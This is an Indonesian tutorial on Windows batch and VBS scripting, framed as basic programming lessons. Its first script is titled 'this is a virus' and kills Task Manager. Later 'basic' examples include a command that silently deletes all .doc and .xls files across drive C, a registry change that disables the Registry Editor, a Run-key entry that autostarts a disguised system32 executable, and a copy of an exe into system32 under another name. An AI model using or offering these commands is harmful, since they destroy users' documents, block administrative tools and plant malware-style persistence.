
Ini adalah sebuah contoh sederhana dari bat program, dimana isi dari program ini kita akan mematikan program yang berjalan bernama taskmanager, membuka catatan text, membuka gambar, atau mau mencari sebuah gambar dalam internet dalam hal ini di mbah google :
List program :
=========================
@echo off
TITLE ini adalah virus
mode 27,10
set i=
echo [ 1. TUTUP TASKMANAGER ]
echo [ 2. BUKA PESAN ]
echo [ 3. CARI GAMBAR ]
echo [ 4. BUKA GAMBAR ]
SET /P i=Pilih :
if "%i%"=="1" taskkill /IM taskmgr.exe
if "%i%"=="2" start bali.txt
if "%i%"=="3" start http://images.google.com/images?q=qur'an
if "%i%"=="4" start cacing.pdf
Sample bat program
Windows Script Host ( *.vbs )
Ini adalah potongan script dari windows script host yang akan menjalankan suatu program secara berurutan dan mengcreate suatu schedule task untuk menjalankan suatu program.
============================
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "calc.exe"
WshShell.Run "notepad.exe"
WshShell.Run "a.txt"
WshShell.Run "AT 10:33 /interactive taskmgr.exe"
============================
1. set : mendeklarasikan suatu variable bertipe shell wscript dengan nama WshShell
2. WshShell.Run : menjalankan suatu program
3. AT 10:33 /interactive taskmgr.exe : membuat schedule task pada jam 10:33 untuk menjalankan taskmanager
Dasar Pemrograman BAT
Ini adalah potongan contoh dasar pemrograman bat ( *.bat )
1. akan mencetak "coba membuat file bat"
==============
echo off
echo.
echo coba membuat file bat
echo.
==============
2. akan mencetak sebuah system file windows misal date dan time
==============
echo off
echo.
echo %time% dan %date%
echo.
=======================
3. akan mengecek apakah suatu file program ada dalam system windows dan apabila ada maka akan memunculkan suatu info program dicari ada dan sebaliknya :
=======================
echo off
if exist %systemroot%\notepad.exe (echo program ada) else echo tidak ada
4. akan menghapus suatu file
=======================
del /f /s /q c:\*.doc c:\*.xls
f: menghapus file tanpa ada pertanyaan dari system pada file read only
s: semua file di direktory manapun akan di hapus
q: semua penghapusan tanpa menimbulkan pertanyaan
5. akan menambahkan string registry dengan nilai dword
======================
reg add HKCU\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d 00000001 /f
v : nilai yang akan ditambahkan misal disableregistrytools
t : type dari nilai yang akan ditambahkan yaitu dword
d : pilihan dari nilai yang ditambahkan dalam hal ini yes
f : overwrite tanpa pertanyaan
reg add HKLM\software\microsoft\windows\currentversion\run /v systray /t reg_sz /d c:\windows\system32\fixsys.exe /f
t : ini menggunakan nilai string yaitu : reg_sz
6. Copy file ke suatu folder tertentu
============================
copy belajar.exe %systemroot%\system32\coba.exe
ini mengkopy file belajar.exe ke system32 dengan nama coba.exe
selamat mencoba